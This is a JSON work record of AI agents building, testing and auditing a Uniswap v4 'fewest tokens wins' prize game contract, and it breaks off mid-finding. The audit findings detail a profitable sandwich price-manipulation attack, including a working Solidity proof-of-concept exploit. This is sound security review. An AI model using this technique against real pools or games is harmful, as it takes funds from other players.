{"assessments":[],"deployments":[{"attestationHash":"512b488a6bdf1c076d69e98f7a61e478e8bcf070aa03a3d99914aefd2390d61f","chainId":1,"contracts":[{"address":"0xa86db0ffea0d166b5bd4fbe237122c2ae6e95c26","blockNumber":26267243,"name":"LowestMintGame","role":"other","txHash":"0xf33b7595c696e962abc2fd952cc7b801c4ffa7e56b1a98c51e18aec7491ccab3"}],"id":"02fb86d5-5323-4101-9873-88ea5de51462","manifestHash":"bac14dc424f171ec014de3932688481349437b8b74f897799e34b08aa3d671fb","status":"live"}],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"373c1f35-f54d-4526-8946-3e8c8ab22aff","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"2d162db90b6b49e42b01a9edbadbb22cb4d493703bc3c4a2cff3cc24fe4860ce","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"9745f2db737973de8dfc609999e380f0bc6c9c3b6d22183c0a398f6fd4178032","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"f5cd1ea15ec1e76c3f45e5558ce5736d151e140b0dd91ca6594dde95eb9b9d04","dependsOn":["build_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"e69806aa9e4d7ee500f28403dca00ec22f7d7956eda8dc5c0c5a91a759a4d429","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"d5c71a55a216953a6f16dd24b09831db29091b9fd06e2d42474a40fbc453bd99","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"923c94fdd936f30d488c6a30e299cb103605a19dc7ed4ac6ffbca4a73d084aea","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"816fe39c7efd64504a19175b0f4dd9186d61069f37a22684c90358a18c60bddc","skillId":"build-contract-project","tools":[]},"key":"build_contract_project","kind":"code","role":"implement","skillHash":"816fe39c7efd64504a19175b0f4dd9186d61069f37a22684c90358a18c60bddc","skillId":"build-contract-project","state":"accepted"},{"acceptedSubmissionHash":"0cf9d226f48404d8ebdacfae65b1fb2377869606d2c40b97581119654eb828cc","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"0fcfe82f7b87e6ae69f5fc81c5a8986a85d5674f36d338480d039b9330848ca3","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"ab3f8f2aa4e7f3b3ada558c0dcf522ba733ca3df3b1da92c707a0fe305816d5f","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"ab3f8f2aa4e7f3b3ada558c0dcf522ba733ca3df3b1da92c707a0fe305816d5f","skillId":"write-foundry-tests","state":"accepted"}],"objective":"A game where you click mint() and pass a value of 0.1 eth and it buys imd from the univ4 imd/eth pool with 0.08 eth and sends it to them but also keeps track of who was payer and exactly how many imd tokens they got\n\nit keeps track of who go the fewest tokens and when it mints out they get sent all the \"rewards\" that are the remaining 0.02 eth from each mint that stayed in the contract","parentJobId":null,"planHash":"c77121475fe14f8732756bb27deb91faf38d591681e9bffbc70aad7eccc30dd8","previousHash":"011e9cf90800aaa97cae5b6cfaf112bb29f2913ef271cd221e8b751e86ef5a20","projectId":"373c1f35-f54d-4526-8946-3e8c8ab22aff","publication":{"commit":"c14bca15f930b4b283e4ac761c771958359b345e","deliveredAt":"2026-10-25T04:17:19.352Z","repoUrl":"https://github.com/identity-md-launches/launch-2558-game-where-you-click"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[],"site":null,"snapshotHash":"6636bab28943cf0bfb57ea212e629957343cf4bbf3f0b2dd5bd11c03da951ba7","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":"ba4fa5e6e302fc6460d02a80471a022bede03fc7118b6dabaeed1d6f9760df6b","device":"a7979f925df7a720","findings":[],"hash":"0cf9d226f48404d8ebdacfae65b1fb2377869606d2c40b97581119654eb828cc","nodeId":"de0b145d-23f3-4300-8dd2-6fb531146248","outcome":"completed","summary":"I updated `launch.json`. Only the notes changed: the accepted source changed after my previous manifest, and the old notes no longer described it.\n\n**Contracts and constructor arguments (unchanged).** The manifest still lists one contract, `LowestMintGame`, with constructor `(address initialOwner, IPoolManager manager)`:\n- `initialOwner` is `\"$owner\"`.\n- `manager` is the Ethereum Uniswap v4 PoolManager, `0x000000000004444c5dc75cB358380D2e3dE08A90`.\n\nThe constructor still makes no external calls, so it deploys on an empty chain.\n\n**What the notes now say:**\n- **Payout:** when the last mint settles the game, the transaction reverts unless at least 100,000 gas is left for the payout. Before, it quietly deferred the prize, which let a caller strand it by choosing a low gas limit. The 30,000-gas push to the winner no longer copies return data. If the winner's wallet rejects the push, the prize waits in `pendingReward`, and the winner can claim it to any address with `claimRewards`.\n- **Mint options:** the notes now list `mint(expectedPoolId, minTokensReceived, deadline)`, which reverts if the owner's configured pool (the `poolId` getter) differs from the one the caller quoted. The two existing mint forms are listed too.\n- **Everything else is as before:** 0.1 ETH per entry, 0.08 ETH swapped for IMD and sent to the payer, each payer and their exact token amount recorded, the 0.02 ETH remainder pooled as the prize. The entry with the fewest tokens wins, with ties going to the earliest. The game ends at 100 entries or 30 days after the first one. After launch the owner calls `configurePool` once, and it locks at the first entry. The owner has no power to withdraw, pause or pick the winner.\n\n**Checks:**\n- The manifest has only `kind`, `contracts` and `notes`.\n- The notes are 2,617 characters, under the 4,000 limit.\n- `launch.json` is the only changed file.\n- `forge build` succeeds, and `forge test` with the verifier's fuzz seed passes all 64 tests in 4 suites.\n\nI did not commit the change.","treeHash":"43c86d19af95203c076b5e1bd1318f8347486b8c","usage":{"cachedInputTokens":219644,"inputTokens":20,"model":"claude-opus-5-5","outputTokens":2841,"runtime":"claude","turns":10,"wallClockMs":59096}},{"artifacts":[],"attempt":1,"bundleHash":"07758e33264f04748a635d0f850faac9a31e3e65f6e3bfecc5d74edf2e653ec8","device":"3c1226d190150ef0","findings":[],"hash":"0fcfe82f7b87e6ae69f5fc81c5a8986a85d5674f36d338480d039b9330848ca3","nodeId":"e9bd1167-5dad-4d9b-be74-af4a2cd2baa1","outcome":"completed","summary":"I fixed my earlier test suite for the updated contract. `forge build` succeeds, and `forge test` passes 84 of 84 with the verifier's fuzz seed. That includes the real Uniswap v4 invariant run: 256 runs × 96 calls with fail-on-revert on, and no unexpected reverts.\n\n**What broke:** after the last round, the contract's author changed `finalize`. Before, if the caller sent too little gas, it held the prize back for the winner to claim later. Now it reverts with `InsufficientGasForPayout`. My test `test_handlerTradesBothWaysAndKeepsHistoryAfterTransfer` still expected the old behaviour, so it failed.\n\n**Changes, all inside `test/`:**\n- **`test/helpers/RealPoolGameHandler.sol`:**\n  - **Low-gas settlement:** a call to `finalize` with only 100,000 gas must now revert with `InsufficientGasForPayout` and change nothing: the game stays open, the prize pot is untouched and nothing is held back. A normal settlement follows. This checks that whoever settles the game can't pick a gas limit that holds back a winner's prize. Only the test wallet that refuses ETH now ends up with a prize to claim later.\n  - **New `mint(poolId, minimum, deadline)` overload:** valid entries now alternate between the two slippage-protected overloads. A new rejection case sends a wrong pool ID and checks that it fails with `PoolMismatch` without touching the pool.\n- **`test/RealPoolInvariant.t.sol`:** the two fixed scenario tests now cover all six rejection cases. One now expects the failed low-gas attempt, then a direct payout of 0.04 ETH to the winner with nothing left to claim, so a later claim gets `NothingToClaim`. The other has its sell-out entries alternate between both protected overloads.\n- **`test/INDEPENDENT_TESTS.md`:** updated to describe the above.\n\nI found no new defects in the changed contract code, so I didn't write `.imd-findings.json`. The other contributor's unit tests already cover the new pool-ID and gas checks, and they pass. I haven't committed anything.","treeHash":"37a46885df9499536d85d846c7ae45713e4221a3","usage":{"cachedInputTokens":431376,"inputTokens":22,"model":"claude-opus-5-5","outputTokens":7221,"runtime":"claude","turns":11,"wallClockMs":255815}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"42a6bb6aa496cd6b","findings":[{"citation":"resolved","description":"The score of an entry is the raw output of a single exact-input spot swap in the configured v4 pool, and the leader is the earliest entry with the strictly smallest receipt. Two facts combine: (1) tokensReceived can never be below the frozen absolute floor `minimumOutput` (line 166 raises the caller minimum to it, line 174 reverts below it), and (2) ties go to the earliest entry (strict `<` at line 187). Therefore the first entry whose receipt equals the smallest achievable value at or above the floor can never be dethroned, and anyone who can move the pool's spot price for the duration of one transaction can produce that receipt on demand. Because the swap executes inside the same transaction as the attacker's push and un-push swaps (the game's unlock is separate from the attacker's unlocks, so an attacker contract can push, call mint(floor, now), and sell back atomically), the only cost is pool fees on the push round trip plus the tiny loss on the 0.08 ETH buy; capital can be flash-borrowed. Every later honest entry then donates 0.02 ETH to the attacker, and the attacker also takes the whole pot at sellout or timeout.\n\nQuantified against unmodified v4-core with 1000e18 liquidity in [-60000, 60000] at a 1:1 price and a 0.3% fee, with the owner setting the floor 5% under the fresh 0.08 ETH quote (floor 0.076e18, quote ~0.0797e18): a 24.47 ETH push yields a receipt of 76000000000007291 raw units (7,291 wei above the floor); total attacker outlay including the 0.1 ETH entry is 0.1653 ETH; 99 honest entries all receive more than that (cumulative honest impact of 7.92 ETH only moves the quote ~1.6%); the attacker is paid 2 ETH at sellout and nets +1.8347 ETH. Cost scales with pool depth times fee; for a 0.3% pool and a 5% floor the attack stays profitable until virtual depth exceeds roughly 14,000 ETH, far deeper than any plausible IMD pool.\n\nThe floor cannot be tightened to fix this: 100 honest buys of 0.08 ETH must themselves stay above it (otherwise the game stalls until the 30-day timeout, see README), so the floor must leave at least the honest cumulative impact as headroom, which is exactly the room the manipulator uses. The same root cause (score = manipulable spot execution) also means that in a quiet pool the most recent entrant is always the leader (each buy raises the price), so entries 1..n-1 are strictly dominated and a bot entering in the last block before closesAt takes the pot; and a leader can hold the price above the floor-reachable region to make every competing mint revert with TooFewTokens until timeout.\n\nREADME.md and docs/SECURITY.md disclose that 'a trader may manipulate price ... potentially for less than the prize'. This finding sharpens that disclosure into a reproducible, near-free, deterministic capture, which the requester should weigh before funding the game. Any fix changes the requested selection rule or adds a step, so it is a scope decision: options that preserve 'fewest tokens wins' include (a) a two-step entry (commit the 0.1 ETH in one block, execute the swap in a later block, so the push cannot be atomically unwound and the manipulator bears cross-block arbitrage), (b) bounding the per-entry receipt against a reference such as the previous entry's receipt or a hook-provided TWAP, or (c) choosing the winner by a rule that is not a function of spot execution. The existing tests only demonstrate the monotone honest case (test_realPriceMovementChangesLeaderAndSelloutPaysFinalMint); there is no adversarial manipulation test.","line":187,"path":"src/LowestMintGame.sol","reproduction":"State: real v4 PoolManager; pool (ETH, IMD, fee 3000, spacing 60, no hook) initialised at sqrtPrice 2^96; LP adds 1000e18 liquidity in ticks [-60000, 60000]; owner calls configurePool(key, 0.076e18). Attacker contract holding 100 ETH executes in one tx: (1) unlock -> swap zeroForOne exact-input 24471764666977833255 wei ETH -> settle/take; (2) game.mint{value: 0.1 ether}(0.076e18, block.timestamp) -> returns (1, 76000000000007291); leader = attacker, lowestTokens = 76000000000007291, winningMintId = 1; (3) unlock -> sell all IMD held back for ETH. Attacker ETH balance after step 3: 99.834659824127832298 ETH (outlay 0.1653 ETH incl. the entry). Then alice/bob call mint{value: 0.1 ether}() 99 times; every receipt > 76000000000007291; the 100th mint finalizes and pays 2 ETH to the attacker. Expected: moving the spot price should not be a profitable or deterministic way to take the pot. Actual: attacker ends with 101.834659824127832298 ETH, net +1.834659824127832298 ETH, and no honest entry could ever have beaten the manipulated receipt because it sits 7,291 wei above the frozen floor. Run: forge test --match-path test/scratch/SandwichWin.t.sol -vv.","severity":"high","snippet":"        if (mintId == 1 || tokensReceived < lowestTokens) {\n            leader = msg.sender;\n            lowestTokens = tokensReceived;\n            winningMintId = mintId;\n            emit LeaderChanged(mintId, msg.sender, tokensReceived);","title":"Prize pool is deterministically capturable by spot-price manipulation: a sandwiched floor-level entry locks in the win for ~0.065 ETH of swap fees"},{"citation":"resolved","description":"_finalize only attempts the automatic payout when gasleft() >= PAYOUT_GAS_RESERVE (100,000). The caller of the transaction that triggers finalization controls how much gas is left at that point. The final minter is typically a competitor who just lost, and the finalize() caller after timeout is anyone. Either can pick a gas limit that is enough for the swap/entry bookkeeping (or the finalize checks) but leaves fewer than 100,000 gas at line 245, so an ETH-capable EOA winner is not paid and must submit and pay for a claimRewards transaction. No funds are lost and the claim remains intact, so this is low; it is noted because the README presents deferral as a property of a rejecting or gas-consuming winner, while here a third party imposes it on a cooperative winner, and a contract-wallet winner that cannot initiate arbitrary calls (the case README already calls stranded) can be pushed into that stranded state by someone else. test_lowGasSettlementDefersPrizeWithoutLosingClaim covers the finalize() path as intended behaviour; no test covers the final-mint path or a non-winner choosing the gas. A simple hardening that keeps the design: attempt the capped 30,000-gas payout unconditionally (the 1/64 rule and the deferral-on-failure already protect the final mint), or document that the deferral is third-party triggerable.","line":245,"path":"src/LowestMintGame.sol","reproduction":"GameFixture (MockPoolManager, floor 100): alice mints with output 100 (leader), bob mints 98 times with output 200 (minted = 99, rewardPool = 1.98 ETH). bob then calls game.mint{value: 0.1 ether, gas: 252_000}(). Expected (per README 'The last successful mint automatically finalizes the game ... and attempts payment to the winning payer'): alice, an EOA, receives 2 ETH. Actual: the mint succeeds, finalized = true, RewardDeferred is emitted, pendingReward = 2 ETH, totalRewardsPaid = 0, alice's balance is unchanged (99.9 ETH) until she pays for claimRewards. The exact gas number depends on the pool; the condition is any limit that leaves gasleft() < 100_000 at line 245 while the rest of the mint fits.","severity":"low","snippet":"        if (gasleft() >= PAYOUT_GAS_RESERVE) {\n            pendingReward = 0;\n            (bool paid,) = payable(leader).call{value: amount, gas: AUTO_PAYOUT_GAS}(\"\");","title":"The 100th minter (or the finalize() caller) can force the winner's payout to be deferred by choosing the transaction gas limit"},{"citation":"resolved","description":"The real-pool suite proves that each consecutive honest buy yields fewer tokens and that the last buyer wins, and the invariant suite drives a mock whose output is set by the handler. Neither contains an entry where a third party trades in the pool between or around mints, so the economic property the game is supposed to deliver (the pot goes to the entrant with the genuinely worst execution) is never tested under the conditions it fails. Finding 1 supplies such a test (test/scratch/SandwichWin.t.sol); the author should keep an equivalent adversarial case in test/ whichever design decision is taken.","line":69,"path":"test/UniswapV4Integration.t.sol","reproduction":"Run forge test --match-path test/scratch/SandwichWin.t.sol: it fails on the current tree with 'manipulator profited from the prize pool'. No existing test in test/ performs a swap by a non-game account between mints.","severity":"info","snippet":"    function test_realPriceMovementChangesLeaderAndSelloutPaysFinalMint() public {","title":"Test suite has no adversarial economics case: only the monotone honest sequence is exercised against the real pool"}],"hash":"2d162db90b6b49e42b01a9edbadbb22cb4d493703bc3c4a2cff3cc24fe4860ce","nodeId":"a973f372-2049-4c7b-87e8-9c5317489deb","outcome":"completed","summary":"Findings file is written and the snippets verify against the tree. Final state of the review:\n\n**Scope covered:** Economic Security, Invariant and Flow Gap guides applied to `src/LowestMintGame.sol`, traced against unmodified Uniswap v4 core. All 60 existing tests pass; my two scratch tests reproduce both leads. All ten entry points plus three invariants have coverage rows, none `unreached`.\n\n**Findings written to `.imd-findings.json`:**\n\n1. **High: the prize pool is deterministically capturable by spot-price manipulation.** The score is a single spot swap's output, the floor is an absolute frozen minimum, and ties go to the earliest entry. So the first entry that lands just above the floor can never be dethroned, and anyone can produce that receipt by sandwiching their own mint. Against a real v4 pool with 1000e18 liquidity, 0.3% fee and a floor 5% under quote, a 24.47 ETH push produced a receipt 7,291 wei above the floor at a total cost of 0.165 ETH, and the attacker collected the 2 ETH pot for a net gain of 1.83 ETH. The floor cannot be tightened without stalling honest play, since 100 honest buys need the same headroom. The README discloses manipulation as a risk, but the finding shows it is near-free and deterministic. The proof test at `test/scratch/SandwichWin.t.sol` fails on the current code. Any fix is a design decision; I listed three options that keep \"fewest tokens wins\".\n\n2. **Low: the final minter or the finalize caller can defer the winner's payout by gas choice.** With 99 entries recorded, a 100th mint at a 252,000 gas limit succeeds but leaves fewer than 100,000 gas at the reserve check, so an EOA winner gets `RewardDeferred` and must pay for a claim. No funds lost.\n\n3. **Info: no adversarial economics test exists.** The suite only proves the monotone honest case.\n\n**Checked and holding:** ETH conservation across mint, both finalize paths and claim; callback authorization and single use; exact 0.08 ETH input and balance-delta receipt checks; native sync reset; reentrancy via payer token hooks and v4 hooks; deadline and closesAt boundaries; ownership transfer paths; forced ETH exclusion.\n\n**Not reached:** the live IMD token and pool, which the repository does not name. Their transfer semantics and hook behaviour must be checked before configuration, as the README already states.","treeHash":null,"usage":{"cachedInputTokens":1553467,"inputTokens":450,"model":"claude-fable-5-1","outputTokens":52669,"runtime":"claude","turns":32,"wallClockMs":868944}},{"artifacts":[],"attempt":1,"bundleHash":"836367bc0cf6a18325c9de91a779dc594a2893cd10bf885b7858f0c76e260360","device":"a7ac9f7a7687c25e","findings":[],"hash":"37534d58b0ba88483054a58a7581923d04c73b0e1b22110617953a3fe5a665f4","nodeId":"de0b145d-23f3-4300-8dd2-6fb531146248","outcome":"completed","summary":"launch.json is written and verified. Nothing else in the tree changed.\n\n**What the manifest declares**\n\n- One contract, `LowestMintGame`, the only application contract in the accepted source.\n- Constructor arguments in declaration order: `$owner` for `initialOwner`, then the canonical Ethereum Uniswap v4 PoolManager address for `manager`.\n- Notes describe the 0.1 ETH mint, the 0.08 ETH swap delivered straight to the payer, per-entry payer and receipt tracking, the 0.02 ETH per-mint pot, payout of the whole pot to the lowest-receipt entry at sellout, and the owner's one-time post-launch `configurePool` step for the ETH/IMD pool key and output floor.\n\n**Checks performed**\n\n- The PoolManager address matches the README, the accepted compatibility test, and Uniswap's published v4 deployment table for chain id 1. It is a public canonical address, not a requester-only value, so no stand-in was needed.\n- The manifest parses as JSON with exactly the keys kind, contracts and notes. Every argument is a string, the identifier is under 32 characters, and notes are well under the 4000-character limit.\n- The constructor ABI from the compiled artifact has two address parameters, matching the two manifest entries.\n- The constructor makes no external calls and rejects a zero manager, so it deploys on the empty chain the protected floor uses. Ownership comes only from the explicit owner argument, never from the factory or tx.origin.\n- Build passed and all 60 tests passed with the verifier's fuzz seed.\n\nGit status shows launch.json as the only new file. The IMD token address, pool fee, tick spacing, hook and minimum output remain owner settings to be supplied via `configurePool` after launch, as the accepted implementation intends.","treeHash":"0a9ad9a2d7788027c1adc3289ec1b00d9fdea11d","usage":{"cachedInputTokens":250473,"inputTokens":226,"model":"claude-fable-5-1","outputTokens":4520,"runtime":"claude","turns":13,"wallClockMs":122210}},{"artifacts":[],"attempt":1,"bundleHash":"bbf542f07e853928bc9507358bcd7db4a9a7090d35ba60f45aeec22e68f2f3b4","device":"5f419f6fdfb42f37","findings":[],"hash":"5a6290daf7b7c6696f0724817d2efed8e15f0151429dc00d548d74893d327ded","nodeId":"e9bd1167-5dad-4d9b-be74-af4a2cd2baa1","outcome":"completed","summary":"Added failure-path tests and real Uniswap v4 stateful invariants, entirely under `test/`.\n\nValidation passed:\n- `forge build`\n- `forge test` with the required seed: **80 passed, 0 failed**\n- New invariant campaign: **24,576 calls**, zero unexpected reverts","treeHash":"482d81f863b48912b1b2b566ac4752dcaa2eb351","usage":{"cachedInputTokens":2763648,"inputTokens":80587,"model":"gpt-6-astra","outputTokens":31892,"runtime":"codex","turns":11,"wallClockMs":1049079}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"56b13350bba65fd7","findings":[{"citation":"resolved","description":"The score of an entry is the raw output of one exact-input spot swap in the configured v4 pool (unlockCallback line 204, sqrtPriceLimitX96 = MIN_SQRT_PRICE + 1 at line 207 accepts any price), compared with no reference price, no per-entry relative slippage bound, and no commitment phase. The only bound is the absolute frozen `minimumOutput` (line 166/174), which must stay loose enough for 100 consecutive 0.08 ETH buys. Ties go to the earliest entry (strict `<` at line 187). Therefore an unprivileged actor can move the pool price in the same transaction as their entry, mint a receipt below every honest receipt, sell the price impact back, and take the whole `rewardPool`. At the sellout the same transaction that forces the price also triggers `_finalize()` (line 193), so the attacker is paid inside their own sequence. This is the same root cause reported by the economics specialist (cef719de) and the flow specialist (cead3911) and is merged here; the README and docs/SECURITY.md acknowledge price manipulation as an accepted economic limit, but the reproducible result is a deterministic, near-free transfer of every other entrant's 0.02 ETH, so it is reported for the requester's decision rather than dropped. The invariant suite does run an external trader between entries (RealPoolGameHandler.trade), but no test asserts the profitability of a manipulation, which is why this survives the suite. Any fix changes the requested selection rule (e.g. score against a per-entry reference price or the previous receipt, or add a commit/reveal or delay), which is a scope decision for the requester.","line":187,"path":"src/LowestMintGame.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {LowestMintGame} from \"src/LowestMintGame.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"@uniswap/v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {IHooks} from \"@uniswap/v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams, ModifyLiquidityParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\n\ncontract SnipeToken is ERC20 {\n    constructor() ERC20(\"Test IMD\", \"tIMD\") {}\n    function mint(address to, uint256 amount) external { _mint(to, amount); }\n}\n\ncontract Sniper is IUnlockCallback {\n    IPoolManager public immutable manager;\n    LowestMintGame public immutable game;\n    PoolKey public key;\n    IERC20 public immutable token;\n\n    constructor(IPoolManager m, LowestMintGame g, PoolKey memory k) {\n        manager = m; game = g; key = k; token = IERC20(Currency.unwrap(k.currency1));\n    }\n\n    function seed(int24 lo, int24 hi, int256 liq) external { manager.unlock(abi.encode(uint8(0), lo, hi, liq)); }\n    function buy(uint256 ethIn) external { manager.unlock(abi.encode(uint8(1), int24(0), int24(0), int256(ethIn))); }\n    function sellAll() external {\n        manager.unlock(abi.encode(uint8(2), int24(0), int24(0), int256(token.balanceOf(address(this)))));\n    }\n    function enter() external returns (uint256, uint256) { return game.mint{value: 0.1 ether}(); }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager), \"not manager\");\n        (uint8 mode, int24 lo, int24 hi, int256 amount) = abi.decode(data, (uint8, int24, int24, int256));\n        if (mode == 0) {\n            (BalanceDelta d,) = manager.modifyLiquidity(key, ModifyLiquidityParams(lo, hi, amount, 0), \"\");\n            _payNative(uint256(uint128(-d.amount0())));\n            _payToken(uint256(uint128(-d.amount1())));\n        } else if (mode == 1) {\n            BalanceDelta d = manager.swap(key, SwapParams(true, -amount, TickMath.MIN_SQRT_PRICE + 1), \"\");\n            _payNative(uint256(uint128(-d.amount0())));\n            manager.take(key.currency1, address(this), uint256(uint128(d.amount1())));\n        } else {\n            BalanceDelta d = manager.swap(key, SwapParams(false, -amount, TickMath.MAX_SQRT_PRICE - 1), \"\");\n            _payToken(uint256(uint128(-d.amount1())));\n            manager.take(key.currency0, address(this), uint256(uint128(d.amount0())));\n        }\n        return \"\";\n    }\n\n    function _payNative(uint256 amount) private { manager.sync(key.currency0); manager.settle{value: amount}(); }\n    function _payToken(uint256 amount) private {\n        manager.sync(key.currency1); token.transfer(address(manager), amount); manager.settle();\n    }\n    receive() external payable {}\n}\n\n/// @dev The 100th slot goes to an actor who pushes the price, mints, then sells back: profit at others' expense.\ncontract SandwichProfitProofTest is Test {\n    IPoolManager internal manager;\n    SnipeToken internal token;\n    LowestMintGame internal game;\n    PoolKey internal key;\n    Sniper internal lp;\n    Sniper internal sniper;\n    address internal owner = makeAddr(\"owner\");\n    address internal alice = makeAddr(\"alice\");\n    address internal bob = makeAddr(\"bob\");\n\n    function setUp() public {\n        manager = IPoolManager(address(new PoolManager(owner)));\n        token = new SnipeToken();\n        game = new LowestMintGame(owner, manager);\n        key = PoolKey(Currency.wrap(address(0)), Currency.wrap(address(token)), 3000, 60, IHooks(address(0)));\n        manager.initialize(key, uint160(1 << 96));\n        lp = new Sniper(manager, game, key);\n        vm.deal(address(lp), 10_000 ether);\n        token.mint(address(lp), 10_000 ether);\n        lp.seed(-60000, 60000, 1000 ether);\n        vm.prank(owner);\n        game.configurePool(key, 1e12);\n        vm.deal(alice, 100 ether);\n        vm.deal(bob, 100 ether);\n        sniper = new Sniper(manager, game, key);\n        vm.deal(address(sniper), 100 ether);\n    }\n\n    function test_sandwichEntryCannotProfitFromOtherPlayersRewards() public {\n        for (uint256 i; i < 99; ++i) {\n            vm.prank(i % 2 == 0 ? alice : bob);\n            game.mint{value: 0.1 ether}();\n        }\n        uint256 start = address(sniper).balance;\n\n        sniper.buy(20 ether);\n        try sniper.enter() returns (uint256, uint256) {} catch {}\n        sniper.sellAll();\n\n        // Expected: pushing the spot price and taking the last entry never pays more than it costs,\n        // because the prize comes from the other 99 players. Actual: net +~1.86 ETH.\n        assertLe(address(sniper).balance, start, \"taker profits from the pooled rewards\");\n    }\n}","reproduction":"Real v4 PoolManager; ETH/IMD pool at sqrtPrice 2^96, fee 3000, tickSpacing 60, no hook, 1000e18 liquidity in ticks [-60000, 60000]; owner calls configurePool(key, 1e12) (the project's own integration-test depth and floor). Alice and bob make 99 honest entries of 0.1 ETH (leader alice, lowestTokens ~7.8e16). A contract holding 100 ETH then, in its own calls, buys 20 ETH of IMD from the pool (price up), calls game.mint{value: 0.1 ether}() (entry 100), and sells all IMD back. Expected: pushing the spot price should not let a trader profit from the pooled rewards. Actual: the mint returns a receipt below every honest receipt, becomes leader, `_finalize` pays the whole 2 ETH pot, and the trader ends at 101.860866997497427276 ETH from 100 ETH, a net +1.86 ETH taken from the 99 honest entrants; the game pays totalRewardsPaid() == 2 ether. The same holds at the deadline (anyone enters at closesAt - 1, then calls finalize()). Run: forge test --match-path test/scratch/SandwichProfitProof.t.sol (fails on the current code at assertion 'taker profits from the pooled rewards').","severity":"high","snippet":"        if (mintId == 1 || tokensReceived < lowestTokens) {","title":"Fixture price manipulation captures the entire prize pool: push the spot price, take the last/lowest entry, sell back, net profit"},{"citation":"resolved","description":"`_finalize` attempts automatic payment only when `gasleft() >= PAYOUT_GAS_RESERVE` (100,000) and otherwise silently parks the prize in `pendingReward` with no revert. The caller of the 100th `mint()` (a competing entrant) or of `finalize()` after the deadline (anyone) fully controls the gas limit of that transaction, so a third party can always place the call in the window where the swap/accounting succeeds but fewer than 100,000 gas remain at line 245. The winner is then unpaid and must submit and pay for their own `claimRewards` transaction; a contract-wallet winner that accepts ETH but cannot initiate arbitrary calls is pushed into the stranded state the README calls out, by someone else. No funds are lost and EOAs can recover by paying gas, so this is low; it is merged from the economics specialist (0f9655bc) and the flow specialist (4e4a9f67), which described the same root cause. The README presents deferral as a property of a rejecting or gas-consuming winner and test_lowGasSettlementDefersPrizeWithoutLosingClaim covers only the finalize() path as intended behavior, so this third-party-triggerable case is outside what the suite asserts.","line":245,"path":"src/LowestMintGame.sol","reproduction":"Mock fixture 